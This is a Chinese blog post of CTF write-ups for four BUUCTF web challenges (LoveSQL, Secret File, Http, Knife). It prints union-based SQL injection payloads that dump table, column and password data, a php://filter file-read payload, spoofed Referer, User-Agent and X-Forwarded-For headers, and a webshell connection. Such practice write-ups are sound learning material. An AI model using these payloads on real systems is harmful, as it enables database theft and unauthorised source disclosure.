【CTF】buuctf每日打卡(web)

一个洞都挖不到,我是废物 2024-10-26 15:03:02 阅读 61

目录

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Secret File 

[极客大挑战 2019]Http 

[极客大挑战 2019]Knife


[极客大挑战 2019]LoveSQL

点开一个经典的登录框,看题目就知道是sql注入了,先尝试万能密码

20a378ffe3f8441c8d5dcf8f30b183fe.png

 登进去了,但是这个admin的密码好像不是flag

87d3364b92e34b60b06a53bf61e79d41.png

 尝试联合注入吧 ,可以先看看显位

尝试 1' union select 1;#

        1' union select 1,2;#

        1' union select 1,2,3;#

依次尝试,最后在 1' union select 1,2,3;# 得到有用回显

d82c0efcd57d452185a800bd18c02760.png

 回显位为2和3

这样就很明显了,直接用联合注入,先爆表名

显示当前数据库所有表的sql语句:

<code>SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()

构造payload:

1' UNION SELECT 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()),3 ;#

17052b511c1c47f19b894fc8df615d5d.png

看一眼l0ve1ysq1表,决定爆这个表的列名:

爆列名的sql语句

<code>SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_NAME='test1'code>

构造payload

1' UNION SELECT 1,2,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_NAME='l0ve1ysq1') ;#code>

得到列名

aadcbbd31c9a445895a5c9ecec7e4d24.png

 一个一个列名爆破

查询某个列名下所有数据的sql语句

<code>SELECT GROUP_CONCAT(`id`) FROM test1;

我们直接查password吧

payload为

1' UNION SELECT 1,2,(SELECT GROUP_CONCAT(password) FROM l0ve1ysq1) ;#

 得到flag

cc2d277935b147c7ba39d39e298422b1.png

[极客大挑战 2019]Secret File 

点开网站只有几行字,我第一步喜欢先查看前端页面,果然看到了一个目录/Archive_room.php

4c8fe5833e80413dbb885b0fd7c34930.png

进去康康,发现有个按钮 

1964f60e9b48444ca7e1ea609d378a91.png

但点进去啥都没有。。。

685966cf75a64fcf9f30fcc14927e0ec.png

此时可以看看返回包,该用到我们的bp了,开启拦截后,点击那个按钮,拦截到请求包,然后我

右键点击拦截,然后再点击拦截返回包,就能看到我们的返回包了

33d50de81bc84d0dae5ed2f0071b3822.png

看到了,直接去 secr3t.php 看看

d996a4481c3d4d8396c4633f080bbf1d.png

接下来就是普通的代码审计了, 过滤了一些关键字,直接访问flag.php会被骗

3ee45887fc9b4152838e801619ab6099.png

 写伪协议吧

<code>?file=php://filter/read/convert.base64-encode/resource=flag.php

54d89acbdc204dafa434ed9593866155.png

base64解密就拿到flag了

8f26495186134fd39b1e3bab1e1cc84c.png

[极客大挑战 2019]Http 

和之前一样,进入网站先仔细查看前端页面

562d29ab18c54e90844038cc583fd70c.png

发现一个文件,点进去

补充知识:

请求包里头有几个东西可以注意一下

Referer :表示当前请求的来源页面,例如:Referer: http://example.com/page1,表示你要访问的网站是从http://example.com/page1经过某个操作(比如按钮)来的

X-Forwarded-For:表示客户端的ip地址,例如:X-Forwarded-For: 127.0.0.1

User-Agent:(也就是我们说的ua头)用来标识发起请求的客户端应用程序、操作系统、设备类型等信息,举个详细点的例子:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36

<code>Mozilla/5.0:历史原因导致的字段格式。Windows NT 10.0; Win64; x64:客户端操作系统是 Windows 10,64 位系统。AppleWebKit/537.36:使用的浏览器渲染引擎是 WebKit,版本为 537.36。Chrome/93.0.4577.63:客户端使用的浏览器是 Chrome,版本号为 93.0.4577.63。Safari/537.36:表明 Chrome 基于 WebKit 引擎,同时模拟 Safari 的行为。

Cookie:用于在客户端和服务器之间存储和传递状态信息的小型数据文件。它通常用于会话管理、用户偏好、跟踪和个性化内容(相当于你的信息)

有了上面的补充知识,我们一步一步来

d9ec7fd9f1dc422b82d86d2cc7a9d251.png

 看到我们来源不是它指定的网址,因此我们添加

<code>Referer:https://Sycsecret.buuoj.cn

cbbb19aeb3bc4004b09f99180a94886f.png

要求我们使用它指定的浏览器,改ua头 

<code>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Syclover/131.0

f26bd3a406d04a348ca8e3f55cb7bcc4.png

要求我们来自本地主机接着改,加一个X-Forwarded-For

<code>X-Forwarded-For:127.0.0.1

 拿到flag

5c56f4337f8f4efa9af5d9bd41cfcbef.png

[极客大挑战 2019]Knife

caf72036d12747e29bc4e20eb6e75b3b.png

页面直言不讳,这个网站已经上传木马了,就等我们连,直接连吧(用蚁剑了)

9216c3d0605c44d294de7b3a3c16219d.png

直接翻目录就是flag

e7c975997992487abc82820dc5121ce8.png



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。